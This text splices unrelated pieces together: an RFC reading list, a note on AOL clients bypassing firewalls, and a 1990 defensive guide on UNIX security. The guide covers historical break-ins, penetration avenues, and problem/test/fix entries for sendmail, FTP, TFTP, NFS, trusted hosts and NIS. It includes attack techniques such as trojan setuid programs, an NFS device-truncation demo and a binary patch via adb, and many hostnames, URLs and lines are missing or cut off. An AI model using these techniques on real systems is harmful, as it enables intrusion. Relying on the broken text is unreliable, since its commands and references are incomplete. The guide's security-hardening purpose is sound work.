     rfc1001/2 netBIOS: networking for PC's

     rfc973    update on domains

     rfc959    FTP (file transfer)

     rfc950    subnets

     rfc937    POP2: protocol for reading mail on PC's

     rfc894    how IP is to be put oEthernet, see also rfc825

     rfc882/3  domains (the database used to go  from  host  names  to
               Internet  address  and back -- also used to handle UUCP
               these days).  See also rfc973

     rfc854/5  telnet - protocol for remote logins

     rfc826    ARP - protocol for finding out Ethernet addresses

     rfc821/2  mail

     rfc814    names and ports - general  concepts  behind  well-known

     rfc793    TCP

     rfc792    ICMP

     rfc791    IP

     rf768    UDP

     rip.doc   details of the most commonly-used routing protocol

     ien-116   old  name  server  (still  needed  by  several kinds of

     ien-48    the  Catenet  model,   general   description   of   the

               philosophy behind TCP/IP

The following documents are somewhat more specialized.

     rfc813    window and acknowledgement strategies in TCP

     rfc815    datagram reassembly techniques

     rfc816    fault islation and resolution techniques

     rfc817    modularity and efficiency in implementation

     rfc879    the maximum segment size option in TCP

     rfc896    congestion control

               EGP and related issues

To those of you who may be reading this document remotely  instead  of
at  Rutgers:  The  most  important  RFC's  have  been collected into a
three-volume set, the DDN Protocol Handbook.  It is available from the
DDN  Network  Information  Center,  SRI  International, 33 Ravenswood
Avenue, Menlo Park, California 94025 (telephone: 800-235-3155).    You
should  be able to get them via anonymous FTP from  File
names are:


rip.doc is available  by  anonymous  FTP  from,  as

Sites with access to UUCP but not FTP may be able to retreive them via
UUCP from UUCP host rutgers.  The file names would be


Note that SRI-NIC has the entire set of RFC's and IEN's,  but  rutgers
and topaz have only those specifically mentioned above.


The Risks of Using an AOL Client Behind a Firewall

The risks of using an AOL client behind a firewall

Many users wish to use AOL client or AIM (AOL Instant Messenger) behind the company firewall. However, opening

the firewall for an AOL client can present a security risk to the entire network.

AOL client connects to the AOL server at port 5190.

This is usually easy enough for the administrator to configure the firewall to allow this port (5190), and the client will

work properly. However, the AOL client establishes an IP tunnel to the AOL server and creates a VPN between the

AOL network, and the Client's network (with the assistance of the AOL client of course), this basically allows

complete communication between the client and the remote server (the AOL client receives an IP address on the
virtual network, and therefore there is no way the firewall can limit this communication), and this also means that the

client is now exposed to all kinds of IP based attacks, such as nukes, access to personal web servers and ftp
servers, and much more, from anyone on the Internet (All they have to figure out is the Virtual IP address given by
the AOL server).

The firewall is basically helpless against this, because this is all going through port 5190 which was allowed for
communication by the administrator.

To see it in action, start your AOL client, and run "winipcfg" (under Windows 95) to see you have a new adapter

(besides the dial-up-adapter or network adapter you used to connect to the Internet with). This adapter will have
its own IP and gateway information. AOL's home page is at: For information on how to connect AOL

client through a firewall, see:

Security and the UNIX Operating System, 1990


     Security and the
   UNIX Operating System


 June 1990

This document has been authored and researched by XXXXXXXXXXXX under contract
Washington DC 20330-6345.

It is desirable to acknowledge the various contributors to this
document.  This is not easy, given that some of the most fruitful
contributors have been penetrators who wish to keep their identities to
themselves.  Therefore, in respect to their wishes, I would like to just
say "thanks to the guys" -- you know who you are.  For those who have
no desire to remain anonymous, my thanks go to:

   * Captain Thomas Walker, USAF 7CG LGNC
   * USAF 7CG DS, The Pentagon
   * Matt Bishop, Dartmouth College
   * John S. Caywood, Unisys
   * David A. Curry, SRI International
   * Dan Farmer, CERT, Carnegie-Mellon University
   * Dr. Daniel E. Geer Jr., Massachusetts Institute of Technology
   * Jim Haynes, University of California Santa Cruz
   * Dr. Marshall Kirk McKusick, University of California Berkeley
   * Pat Wood, Pipeline and Associates
   * The rest of the folks here at the Pentagon that have tolerated me over
     the last few months


     "UNIX was not developed with security, in any realistic sense,
      in mind; this fact alone guarantees a vast number of holes."
  -- Dennis Ritchie

This document provides an introduction to several aspects of UNIX system
security.  Most of the information is based on 4.x BSD UNIX and its
derivatives.  It may or may not directly apply to HQ USAF-LAN hosts or
other flavors of the UNIX operating system.  Some of the topics being
discussed include:

   * The history of the UNIX security
   * Famous security breeches
   * Theoretical avenues for penetration
   * General principles on system security
   * Countermeasures

UNIX was developed in the late 1960's at Bell Laboratories.  It evolved
in an open environment where programmers were encouraged to share information
and ideas.  Computer security was a matter of trust.  This does not mean
that UNIX is completely void of security mechanisms.  Several reasonable
security features are a part of the normal UNIX distribution; however,
most vendors distribute the operating system with defaults set in an
insecure mode.  Historically, there was little need or desire for system
security as we know it now.

Today, UNIX is used by a large user community that includes groups,
unlike programmers, that are more concerned with protecting information
rather than sharing it.  As the number of UNIX systems increase and
networks become common place, the issue of security is becoming
increasingly important.  More systems, users, and better network
connectivity has drastically increased the potential number of

The Internet Worm
On Wednesday evening, November 2, 1988, Cornell graduate student Robert T.
Morris, Jr. released his worm into the internet.  The worm was intended
to spread itself quietly throughout the network by guessing passwords
and exploiting bugs in electronic mail and other networking utilities
[Haye90].   Although only two types of hardware (Sun-3 and Vax systems)
were targeted by the worm's code, it quickly infected, reinfected, and
crippled many machines.  The worm did not destroy any files, steal
information, or embed other destructive software; however, it virtually
caused the internet to shutdown for two days.

Due to the wide use of the Internet by university, research, and
military computers, the worm infected sites containing classified and
sensitive data causing widespread concern.  Staffers at the Ballistic
Research Laboratory initially assumed that the worm was an attack on
its systems by  foreign intelligence agents.  Michael Muuss, who leads
the Aberdeen computer systems team, later testified: "We have a history
of foreign intelligence activity on our systems ..." [Haye90].  In
all, as many as 3000 computers were temporarily disabled.  The `New
York Times' reported that at Carnegie-Mellon University 80% of the
computers were affected; at the University of Wisconsin 66% of the
systems were hit. Though no data was destroyed, one industry association
estimated total damage in lost work at nearly $100 million. More
realistic estimates place the cost as high as $10 million [Haye90].

The worm taught us many important lessons.  It caused us to think about
the ethics concerning access to computers as well as a forum to test and
evaluate the current laws.  As a result, in January 1990, a United
States District Court found Robert T. Morris, Jr. guilty of charges brought
against him under a 1986 federal computer fraud and abuse law.  Morris
was sentenced in Syracuse Friday May 4, 1990 by Federal Judge Howard
Munson to a $10,000 fine, three years of probation, and 400 hours of
community service.

The Cuckoo's Egg
The mystery began August 1986 when Clifford Stoll, a systems manager at
the Lawrence Berkeley Laboratory (LBL) in Berkeley, California, learned
of an unexplained 75-cent charge for computer time.  Someone was surely
up to no good -- perhaps even invading America's military networks
[Elli90].  He tracked the error down to a user, Hunter, which had no
billing address.  The fun ensued when Stoll reported his findings and
discovered that no one called Hunter had an account at LBL. After
receiving a complaint from National Computer Security Center (NCSC) in
Maryland, it was determined that an old account had been compromised and
was being used to attack other network hosts.  Taking this breach of
security personally, Stoll requested that his superiors allow him to
"nail the bastard" [Stoll89] himself.  They gave him three weeks.

Stoll dropped all pretense of working at his real job and gave full
attention to the intruder [Elli90].  A whole day was spent connecting a
series of 50 printers and monitors, one for each of the incoming telephone
lines.   Now, if the intruder called back, Stoll would have every
character typed.   The next morning one of the printers ejected over 80
feet of paper recording every command from the intruder's keyboard and
every response from the LBL machine.  It quickly showed that someone had
exploited a flaw in system software and held super-user access for three

After a year of tracking the intruder across several networks
(eventually involving FBI, CIA, NSA, Air Force Intelligence, and
authorities in West Germany), five men in Hannover, West Germany were
arrested [Curr90].  On February 15, 1990, after a lengthy trial, the
"crackers" were found guilty as charged and sentenced: Peter Carl to two
years, Dirk Brzezinski to one year and two months, and Markus Hess to
one year and eight months.  However, they were each given three years
probabation and freed, the sentence to be carried out only if they
engage in criminal behavior during that period.

Other Break-Ins
Many other systems have been compromised in the recent years, with
varying levels of publicity.  Break-ins have occurred on:

   * NASA SPAN Network
   * A worm that penetrated DECNET networks
   * Several U.S. banking networks
   * Several Pentagon computers
   * Three known "spin-offs" of Robert Morris' worm
   * Scores of Personal Computer viruses

Importance of System Security
Security is becoming an increasingly important topic.  Hosts from
supercomputers to personal computers are being attacked on almost a
daily basis.  Although there is absolutely no way to make a computer
impregnable, this document will hopefully make your system secure from
the "hacker-wanna-be".  It will discuss both the security features
and holes contained within the UNIX operating system, how to find them,
and most importantly, how to fix them.


  "My confession ... "
    -- Bart Simpson

General Principles

  1. It may be useful to classify intruders by motive: vandalism,
     penetration of ordinary accounts, penetration of the super user
     account, avoidance of charges or quotas, etc.  Some intruders are
     motivated by a desire to take over the system and brag about it,
     so it is almost immediately known when a penetration has taken
     place.  Others are more subtle and keep their penetration secret.
     Detecting these requires luck and periodic scanning of the system
     of oddities.  A particularly difficult problem is how to detect
     when a security violation has taken place, short of stumbling
     across tracks mistakenly left behind by the violator.

  2. As is frequently mentioned, UNIX security seems to suffer because
     the system was designed for use within a friendly community.  As
     the assumptions change about the hostility of the UNIX environment,
     the default settings, including the kernel configuration, will have
     to change.  A limited operating system that doesn't allow the users
     to do much is easier to secure than is UNIX with its many doors and
     windows.  One school of philosophy holds that one should do
     everything possible to avoid any kernel changes.  This may be a
     good idea if portability is an issue; but, in general, it is
     necessary to make security changes to the kernel and to give up
     some possibly useful, but less secure features.  In a friendly
     environment, the system administrator may have a philosophy of
     securing only what is absolutely necessary.  In the hostile
     environment, the administrator should do the opposite, giving
     users only those privileges they absolutely must have.

  3. The most important thing to remember is that a prepared penetrator
     needs super user privileges for only a few seconds to install trap
     doors that will thereafter allow him to become super user at will.
     These can be very difficult and time-consuming to locate.

  4. For serious security, the very existence of a super user is a
     problem.  It is necessary, for instance, to guard against the
     installation of trap doors by sometime-legitimate super users.
     This seems to require that a copy of all the system source be kept
     offline for periodic comparison with online source from which
     object is recompiled from time to time and compared with the
     regular resident object.  Then there is a need for a procedure to
     update the offline source when authorized changes have been made.
     It would probably be a good idea to keep an unchanged offline
     source too, as a way of determining the total state of changes to
     the current source code.  SCCS or RCS can be used to control
     changes to the source, but neither is really designed to protect
     against persons who are devious.

  5. In general the intruder can cover his own tracks.  Detecting
     intrusion therefore depends on the intruder neglecting to do so,
     plus the installation of log-keeping.  The existence of
     log-keeping should be somewhat secret to increase the probability
     that the intruder will unwittingly reveal his acts and methods.
     The best log-keeping consists of writing to a hardcopy device so
     that the intruder cannot erase the log.  Sometimes a single
     slip-up by an intruder will reveal a huge case of previously
     unsuspected penetration.

  6. Security must reside in explicit security mechanisms and not in
     program logic nor in keeping documentation secret from users.
     Program logic fails because users can always write a version of
     the program that doesn't include the security logic.  Program
     logic is of course necessary in those programs which must run
     with privileges; but, here the protection depends on the
     inability of an ordinary user to establish or modify such
     programs.  And, of course, it is desirable to keep the system
     program source from users, since having the source makes
     penetration that much easier.  Still we must assume that the
     intruder has all the source he wants, since he is clever enough
     to have written it himself, and in any case may have obtained
     access to it from a previous penetration or from some other site.

  7. A significant local problem may be pressure from users to install
     imported software, some of which requires super user privileges.
     Ideally such things would be installed only by a software support
     analyst and only after a local security analysis or at least
     after accurately determining exactly what privileges are needed
     and why.

  8. Also the documentation of UNIX programs is generally inadequate;
     rarely do we know how a program should be properly installed to
     have just the privileges it needs.  In actual cases, the experts
     often disagree as to the best scheme for protecting a complex set
     of programs.

  9. There are lots of potential penetrators out there.  A super user
     mistake such as setting a protection code incorrectly can be
     noticed and exploited by somebody, even if it lasts for only a
     short time.

 10. Consider threats from both within and without.  In the
     educational environment most intrusions will come via authorized
     accounts on the system.  Intruders can easily get login names and
     passwords either legitimately, by borrowing them from some other
     authorized user, or by guessing passwords.  The threat, then, is
     what a user can do after he is logged on to the system.  In the
     commercial/government environment, it may be relatively more
     important to defend against intruders who do not know a login
     name and password.  Within the research environment, the attack
     can come from both ends.

 11. Complexity in programs and systems is almost always ill-advised.
     Complex programs are more likely to have unintended penetration
     aids than simple programs.  The intruders to worry about the most
     are those who are  more clever and devious than the official
     system maintainers.  They certainly exist.

 12. UNIX as shipped usually has default protection modes which allow
     users to read other users' files, harass other users, copy system
     binary programs, etc. By default the mode should be for privacy,
     so that naive users are protected from the outset.  If vendors
     would ship systems set up so that they are secure out of the box,
     many of the intial problems would vanish.

Avenues for penetration
  1. If one can remove or disable checks for super user in the kernel so that
     it will perform for all users or for some specific user operations that
     should be reserved to the super user.  Discover a mistake in the kernel
     source code that allows penetration.

  2. A clever programmer could install additional system call entries into
     the kernel that perform super user functions for an ordinary user.

  3. If the operating system copy on disk is ever writable by an ordinary
     user, a very clever and careful intruder might patch it to disable
     protection.  He might have his own version of the operating system and
     install it in place of the official one.  The same is, of course, true
     of any program which runs privileged.

  4. If `/dev/kmem' is ever writable by an ordinary user an intruder
     might patch his own user identification to be that of the super user or
     patch code to disable protection.

  5. If an ordinary user has read permission for a disk special file, he can
     read any file in that file system.  If he has write permission for a
     disk special file, he can do anything.  Note that the user-accessible
     disk special file inode might be located anywhere, since there can be
     any number of special file inodes referencing the same device.

  6. If an ordinary user can write `/etc/passwd' he can enter a bogus
     account with super user uid (or any other).  In some systems, a damaged
     or missing `/etc/passwd' file lets anybody log in as super user.

  7. Suppose an ordinary user has a program which contains code to change the
     owner of a file to the super user and turn on the set-uid bit.  If the
     user can induce a super user to run that program, the code will be
     executed leaving the user with a set-uid root program of his choice.  A
     subtle way to do this is to install the necessary code into a file that
     a super user might execute unawares, such as a `.cshrc' file, or a
     program that needs no privileges ordinarily and is frequently run by the
     super user.  Note, in this connection, that the intruder doesn't always
     have to become super user to install a trap door.  If a program is owned
     by bin and is writable by bin, then a user who can become bin can
     replace that program and wait for a super user to run it, at which time
     it installs a trap door as a side effect.  Aside from super user, ploys
     like these can get a user the ability to penetrate any ordinary user's
     account.  I have heard of a trap door installed by a more devious chain
     of events; the program run by the super user does not directly create
     the trap door, but modifies some other program which later (i.e. at boot
     time) installs the trap door.

  8. Then there are the obvious physical things, such as a user looking over
     a super user's shoulder while the latter is typing the password, or a
     user getting access to the terminal when a super user is called away to
     the telephone and fails to log out, etc.  Also, anyone who can get into
     the machine room can shut down the system (by just halting the machine)
     and then reboot it; it will be in super-user state when it comes up.  Or
     the intruder might happen to be in the machine room at the time of a
     power failure or crash and take advantage of the opportunity.

  9. Prepare a tape containing a privileged program.  Induce a super user to
     load the tape into the intruder's account.  The `tar' command doesn't
     let an ordinary user load a setuid program not owned by that user, but
     it will let a super-user load such a program.

 10. Pick away at all privileged programs runnable by ordinary users, looking
     for holes in program logic that will allow a program to be used for
     intrusion.  Example: interrupt such a program and see what it does, or
     supply extra arguments, or leave arguments out, or supply illegitimate
     arguments, or send signals.

 11. Install a program in a directory where it will be found in the search
     path ahead of the usual program.  Have it do some side effect and then
     transfer to the normal program or bomb out with some plausible message.

 12. Rather than modifying program source code, an intruder might modify a
     library subroutine.  Then inspection of program source is unlikely to
     reveal the change; and, every program compiled using the subroutine will
     include the offending code.

 13. Password guessing tends to be easy.  Run a program that guesses the
     login name, the login name spelled backwards, common words and names,
     local jargon, or items taken from the GECOS field of the password file.
     By 1988, the technology for guessing passwords by trial seems to have
     improved greatly.  A password guessing program using the dictionary
     (`/usr/dict/words') will in a few hours typically turn up dozens of

 14. The classical Trojan horse: user writes a program, such as a game, and
     invites everyone to run it.  A hidden side effect of the program is to
     create a program setuid to the person running the game and located in a
     directory known to the owner of the game.  The program typically is one
     that forks a shell.  So the owner of the game gets the ability to assume
     the identities of all the people who play the game.

 15. There are lots of potential problems with carelessly written setuid
     programs.  `execl()' and `popen()' calls may not execute the intended
     program unless the full pathname is specified.

A vandal, trickster, or enthusiastic user could:

  1. Use up all free disk space on a logical drive or use up all inodes.

  2. Send annoying messages to users at their terminals.
     I.e. `cat /usr/dict/words > /dev/console'

  3. Put on spurious message of the day, replies to gripes, news, etc.
     Corrupt manuals with incorrect information.  Replace programs with phony

  4. Lock terminals.  This is especially annoying with a port finder because
     eventually the locked terminal gets disconnected, so the next user to be
     connected gets an unusable terminal.

  5. Destroy files or directories, or change their protection codes so that
     users can't get to them.

  6. Fill the system with unproductive processes.  Particularly annoying is
     the process which keeps spawning new processes and killing old ones so
     that it is hard to kill the culprit.

  7. Changing modes of other users' terminals.  In particular, setting speed
     to zero, which logs the user out.

  8. Change the system date/time.  Plays havoc with `make' files,
     `cron', and `at'.

Network Security

      "Returned Mail: "
       -- <postmaster>

Networking introduces a lot of new security problems, especially if it
contains single-user workstations.  As so often happens, vendors and
developers are quick to offer features and functions and worry about
security later.  This section discusses many issues associated with

Network Sniffing

- Problem
Ethernet hardware allows one to listen to broadcast packets, packets
destined for one's own station, and usually all packets.  Thus a
workstation with Ethernet hardware and software is frequently usable as
an "Ethernet monitor".  The potential for a mischievous user to
intercept passwords and confidential data is obvious.

+ Solution
There is no solution to this problem until manufacturers build Ethernet
controllers that cannot monitor all traffic.  What we can do that is of
some use is to put workstations on different cables from those
connecting multi-user machines; and keep different classes of
workstations (e.g. administrative) on different cables.  The various
cables are to be connected via gateways, not bridges.

- Problem
Broadband local area networks are worse yet, because everything that is
sent on the cable is broadcast over the entire network.  It is not at
all unthinkable that some user could build or modify a modem to monitor
network channels other than the one to which he is authorized access.

+ Solution
A partial solution to this problem is to keep the RF cable and modems
locked up in cable closets and run only data signals to the users'
stations.  This is not possible if the users need access to the RF
cable, as for Television.

Electronic Mail
A few years ago, electronic mail (e-mail) was a new thing that was
mostly used by computer nerds.  Today, if mail is broken on our
machines, the secretaries are the first to complain; almost all
departmental communication is done by e-mail rather than by telephone,
memos, or discussions [Neme89].  Unfortunately, electronic mail provides
another cavern for intruders to go spelunking.  A couple of flaws were
discovered in recent versions of sendmail, which is a complex
transport agent interfacing mail programs such as `/bin/mailx' and
mail delivery agents like `/usr/lib/uucp/uux'.

- Problem
There is/was an undocumented feature in `sendmail' which would
allow users at remote sites to obtain a privileged shell.

* Test

     $ telnet your hostname 25
     Trying ...
     Connected to Podunk.Edu.
     Escape character is '^]'.
     220 Podunk.Edu Sendmail 4.12/4.7 ready at Thu, 28 May 90 13:28:07 est
     200 Please pass, oh mighty wizard

If you get positive feedback such as the example above, you have a major
security hole and should repair it immediately.

+ Solution
Obtain and/or compile a version of `sendmail' which is equivalent to
the latest Berkeley Sendmail version (Currently 5.65).

- Problem
The bug exploited by the internet worm used the debug option on the
SMTP (Simple Mail Transfer Protocol) server.  This allowed a user to
execute a program on a remote machine.

* Test

     $ telnet your hostname 25
     Trying ...
     Connected to Podunk.Edu.
     Escape character is '^]'.
     220 Podunk.Edu Sendmail 4.12/4.7 ready at Thu, 28 May 90 13:28:07 est
     200 Debug set

If you get positive feedback such as the example above, you may have a
major security hole and should repair it immediately.

+ Solutions
Obtain and/or compile a version of `sendmail' which is equivalent to
the latest Berkeley Sendmail version (Currently 5.65).

An alternate solution is to use your systems general purpose debugger and
actually alter the executable.  SAVE A COPY OF IT FIRST, IN CASE YOU MESS
UP!  This is mildly tricky -- note, some versions of `strings' which we're
going to use to find the offset of the string "debug" in the binary print
out the offsets in octal, not decimal.  Run the following shell line to
decide how your version of `strings' works:

     $ /bin/echo 'abcd' | /usr/ucb/strings -o

Note, make sure the eight control 'G's are preserved in this line.  If
this command results in something like:

     0000008 abcd

your `strings' command prints out locations in decimal, otherwise it's
octal. The patch script for `sendmail'.  NOTE, YOUR OFFSETS MAY VARY!!
This script assumes that your `strings' command prints out the offsets
in decimal.

     $ strings -o -a /usr/lib/sendmail | egrep debug
     0096972 debug
     $ adb -w /usr/lib/sendmail
     ?m 0 0xffffffff 0
     radix=10 base ten
     96972?w 0

If your `strings' command prints out the offsets in octal, change
the line "0t10$d" to "0t8$d".

- Problem
Remote users are able to write to any non-root owned files in the
system.  Target files for such an attack are users `.rhosts' and
other files which could eventually give way to easy access to the host.

* Test
There is no simple test to perform that will adequately show if your
system has this flaw without showing exactly how to exploit the hole.
Therefore, you should contact your local security guru.

+ Solution
Obtain and/or compile a version of `sendmail' which is equivalent to
the latest Berkeley Sendmail version (Currently 5.65).

- Problem
Some systems have a default alias called "decode".  This alias is used
to allow users to mail `uuencoded' documents to "decode" for
decoding.  It also provided administrators an example of how to set up
an alias which gives the mail to a program instead of a real person.

* Test

     $ grep 'decode' your alias file
     decode: "| uudecode"

+ Solution
Remove the "decode" alias from the aliases file (`/usr/lib/aliases'
or `/etc/aliases') and rebuild your aliases database (if required).
Refer to your System Administration manual.

File Transfer Protocol

`Ftp' is the user interface to the ARPANET File Transfer Protocol.  It is
used to transfer files from one internet site to another.  There are some
security issues that need to be resolved when allowing `ftp' access to your

- Problem
Reportedly, `ftpd' was allowing users to read and write files with root
privileges.  It involves the use of the 'user' command.  A password was
demanded but despite giving an incorrect password and seemingly being
refused access, root privileges were obtained.  This bug, however, does
assume that the intruder does have access to your computer either through a
normal account or your host supports anonymous `ftp'.

* Test

There is no simple test to perform that will adequately show if your system
has this flaw without showing exactly how to exploit the hole.  Therefore,
you should contact your local security guru.  If your version of `ftpd' was
obtained before December 1988, you probably have this problem.

+ Solution
Obtain the latest release of the `ftpd' program and install it.

- Problem
Another problem with older versions of `ftpd' is its implementation of the
anonymous `ftp' facility.  The daemon fails to do a `chroot()' call;
therefore, it allows unknown users to read all world readable files.  These
files could include `/etc/passwd' which will open up more holes in your

* Test

     $ ftp your hostname
     Connected to Podunk.Edu.
     220 Podunk.Edu FTP server (Version 2 Thu Mar 15 16:06:24 EST 1990) ready.
     Name (Podunk.Edu:(joeuser)): anonymous
     Password (Podunk.Edu:anonymous): type your name here
     331 Guest login ok, send ident as password.
     230 Guest login ok, access restrictions apply.
     ftp> cd /etc
     250 CWD command successful.
     ftp> ls -CF
     200 PORT command successful.
     150 Opening ASCII mode data connection for /bin/ls (0 bytes).
     226 Transfer complete.
     14 bytes received in 0.19 seconds (0.069 Kbytes/s)
     ftp> bye
     221 Goodbye.

If only the two files shown above exist, your anonymous `ftp'
configuration is probably safe.  If in doubt, get the latest version.

+ Solution
Obtain the latest version of `ftpd'.

- Problem
The Trivial File Transfer Protocol, TFTP, is used on Sun workstations (and
others) to allow diskless hosts to boot from the network.  Basically, TFTP
is a stripped-down version of FTP -- there is no user authentication
[Curr90]. Because of the password cracking problem, it is important that
sites on networks not allow `tftp' access to just any file, and not have
the `/etc/passwd' file accessible via anonymous `ftp'.

* Test

     $ tftp your hostname
     tftp> get /etc/motd
     Error code 1: File not found
     tftp> quit

If your version does not respond with `File not found' and instead
transfers the file, you should fix or replace your current version of

+ Solution
Most sites can do without `tftp' altogether; where it is needed the tftp
daemon should do a `chroot()' call to a restricted directory.

Network File System
The Network File System (NFS) is designed to allow several hosts to
share files over the network.  One of the most common uses of NFS is to
allow diskless workstations to be installed in offices while keeping
all disk storage in a central location [Curr90].

- Problem
NFS is not normally distributed with any of it's security features
enabled.  This simply means that any host on the Internet or LAN may
access your files via NFS, regardless whether you consider them trusted
hosts or not.

+ Solution
Fortunately, NFS can be made secure by correctly configuring
`/etc/exports' or by using Sun Microsystems Secure NFS.  Secure NFS
was introduced in SunOS 4.0 and uses a public-key encryption technique
to ensure authorized access.

- Problem
Over NFS, any device which you can open and write to can be truncated
into another one.  That is it is possible to open, for example, the
device  /dev/null  and use the ftruncate(2) and change it's major and
minor numbers so that it becomes another device (like  /dev/mem  for
example).  This creates major security problems because it allows any
non-privileged user access to and data stored on any device or even
write access to kernal memory.

The root of the problem if that the vnode ops do not distinguish
between open regular files and device types.  Thus the system call may
be called on any arbitrary device.  the new major and minor number for
the device are based on what is on the stack.  That is that the device
characteristics of the vnode are modified instead of the block pointers
to the file are what gets zero'd.

Here is an example of turning dev null into another console device
[trunc is a C program that opens and calls ftruncate on it's first argument]

    %  ls -lg /dev/null /dev/console
    crwxrwxrwx  1 root     staff 3,   2 Sep 17 02:07 /dev/null
    crw--w----  1 root     wheel 0,   0 Sep 16 20:07 /dev/console

    %  trunc /dev/null 0

    %  ls -lg /dev/null /dev/console
    crwxrwxrwx  1 root     staff      0,   0 Sep 17 02:07 /dev/null
    crw--w----  1 root     wheel      0,   0 Sep 16 20:07 /dev/console

+ Solution
NOTE: This has been fixed in SunOS 4.0.3 and SunOS 386i-4.0.2.  The
Sun Bug Numbers are 1009825, and 1019206 respectively.

- Problem
In a nutshell, as [email protected], One can mknod devices on a server's file
system if it's mounted r/w.  I can easily find a world-writable directory
to put it in, because I can become any user/group who can write something
anywhere, even if "nobody" can't, and make this new directory

I choose major/minor numbers on the device so that they make sense on the
server, not the client, although it is on the client that I'm making it.
I then change the mode of the device 666 and go back over to the server
and wreak havoc.  Two good candidates are /dev/mem or any disk device.

+ Solution
Export file systems read-only.  This is obviously unacceptable in most
environments, so it is best if you contact your vendor for a fix.

A contact at Sun has unofficially reported the following:

    This appears to be fixed in SunOS 4.1.1 (I don't know whether it
    worked in previous releases or not).  The mknod (as root in a writable
    nfs mounted directory) fails with ``mknod: not owner.''  I assume that
    the nfs mknod request requires the filesystem to be mounted with root
    mapped to 0 for the request to work.

= Discussion
Sun Microsystems has included security features that allow the system to
operate at higher security levels.  It was patterned after the National
Computer Security Center's C2 classification.  These features are
optional at installation time and include:

   * Audit trails
   * Shadow password file
   * Data Encryption Standard (DES) capability
   * Secure NFS

Trusted Hosts
The concept of a "trusted host" is one of the more convenient features of
the Berkeley UNIX networking software suite.  This feature allows a host or
user to be announced as trusted.  Those who are trusted are permitted to do
remote logins and remote commands without the requirement of a password.
This ability is both a security feature as well as a security hole.


- Problem
`Hosts.equiv' resides in directory `/etc' and contains a list of trusted
hosts.  When an `rlogin' or `rsh' request from such a host is made, and the
initiator of the request is in `/etc/passwd', then no further validity
checking is done.  That is, `rlogin' does not prompt for a password, and
`rsh' completes successfully.  So a remote user is "equivalenced" to a
local user with the same user ID when the remote user is in `hosts.equiv'.

+ Solution
`Hosts.equiv' should be used with care.  ONLY hosts that are secure and
trusted should be allowed to appear in this file.  Nonlocal hosts should
never be trusted.  Also, if there are any machines that are located in
non-secure areas, you should not trust these hosts.

- Problem
On Sun systems, `hosts.equiv' is controlled by the Network Information
Services (NIS), formerly known as Yellow Pages.  As distributed, the
default `hosts.equiv' contains:


This tells the system that every known host should be considered a trusted
host.  This is certainly incorrect and is a major security threat.

+ Solution
A correctly configured `hosts.equiv' should only contain specific host
names or carefully constructed netgroup.  An example of a properly
configured `hosts.equiv':

- Problem
Under SCO UNIX, if you 'rlogin' to the system from a trusted host
(one in /etc/hosts.equiv), you can obtain root privileges without
a password if your home directory does not exist.  It is suspected,
though not confirmed, that this is true for any reason the automatic
login is forced to fail.

Usually rlogind logs the user in directly to his home directory.  But
if the home directory does not exist it will fail ("Cannot chdir to ..."),
and gives a "login:".  However whatever is typed here, including root, will
succeed without a "password:" required.

+ Solution
Contact your vendor, SCO, for the appropriate fix.


* Problem
The `.rhosts' file has the same format as `hosts.equiv'.  When joeuser
executes `rlogin' or `rsh', the `.rhosts' file from joeuser's home
directory is conceptually concatenated onto the end of `hosts.equiv' for
permission checking.  It is also possible to have two entries (separated by
a single space) on a line of these files.  In this case, if the remote host
is equivalenced by the first entry, then the user named by the second entry
is allowed to log in.  An example of this is: joeuser

+ Solution
Inform users of the proper use of the `.rhosts' facility and insure
that only secure hosts are ever listed.

= Discussion
It has been said that "The only secure way to manage `.rhosts' is to
completely disallow them on the system [Curr90]."  I find this comment to
be totally unfounded.  It has been shown that the proper use of the
`.rhosts' facility causes very few security incidents and in contrast helps
eliminate the network "sniffing" problem.


* Problem
The `.netrc' file contains data for logging in to a remote host over the
network for file transfers by `ftp'.  This file resides in the user's home
directory on the machine initiating the file transfer.  It contains
passwords in plaintext.  An example would be:

     machine login joeuser password I'mw/7CG

* Solution
`.Netrc' files should never be used.  The only legitimate exception to this
is for using anonymous ftp.  This would allow you to connect to an
anonymous ftp session where the password is only used for identification.
The typical "netters" `.netrc' would look like this:

     machine login anonymous password
     machine login anonymous password
     machine login anonymous password
     machine login anonymous password
     machine login anonymous password
     machine login anonymous password
     machine login anonymous password

Other Network Services

RPC, Remote Procedure Call

- Problem
There is a security problem with most RPC portmapper where anyuser
can delete services.  This is done by connecting to the RPC portmapper and
simply requesting the service be delete.  Under SunOS 4.1 and greater this
but be done from the localhost, but on SunOS 4.0.3 or less, and on other
vendor platforms that use the portmapper, this can be done remotly!

The problems this can cause range from deleting services such as rusersd
rstatd to (fairly harmless) to effectivly disabling yp or NFS services.

Under SunOS 4.1 a console warning/error message is generated and the
request is denied if the attack is remote but on other systems the attack
is clean (meaning there are no trace logs of message to later trace!).

+ Solution
Contact the vendor for a bug fix.

Network Information Services (NIS)
Network Information Services, formerly known as Yellow Pages, allows many
hosts to share password, group, and other administrative files via the
network.  Unfortunately, NIS also contains a few potential security holes.

+ Problem
Hosts using NIS have a special entry in their `/etc/passwd' file which lets
many software packages and utilities know that they need to contact the NIS


If for some unknown reason NIS is not running, this entry now means that
there is a user named `"+"' which has NO password and has the user ID of
zero (which causes him to be super-user).

* Test

     $ egrep '^\+::' /etc/passwd

This quick test found an occurance which means that if you aren't currently
running NIS, you have a root login without a password.

+ Solution
Keep a close eye on NIS.  Enough said.

- Problem
There exists a bug in pre-4.0.3 versions of `yppasswdd'.  `Yppasswdd(8)' is
an optionally run daemon that lets a user change his password over the LAN
using Sun's Yellow Pages.  The user communicates with the daemon running on
the YP server via the client command `yppasswd(1)' which calls the system
function `yppasswd(3)'.  `Yppasswd(3)' just sends the user's name, old
unencrypted password, and a new encrypted password to the YP server via a
reserved port.  `Ypasswdd(8)' looks up the user's name and verifies the old
password, no question asked.  But unfortunately, the new encrypted password
is not checked for the occurrence of bad characters such as `:' and `\n',
and has no limitation on its length which also causes over-long password
entries and results in a similar `chfn' attack.

+ Solution
Several things can be done about this.  1) Upgrade the operating system.
2) Don't run Yellow Pages.  3) If you have source code, fix the bug and
recompile `yppasswdd(8)'.

- Problem
When a user runs yppasswd to change the password on an account in
the Yellow Pages, the YP passwd map is recreated with mode 666
(world writable).  This is a serious security problem.

+ Solution
Add commands to /var/yp/Makefile on the YP master server to set
the mode on the /var/yp/DOMAINNAME files for the maps passwd.byname,
passwd.byuid, and publickey.byname:

     chmod 644 $(YPDBDIR)/$(DOM)/MAP.pag $(YPDBDIR)/$(DOM)/MAP.dir;\

Substitute each map name for "MAP" in the above command.  Another way
is to set a umask for each map.  For example:

     passwd.time: $(DIR)/passwd
             [email protected] [ -f $(DIR)/passwd ]; then \
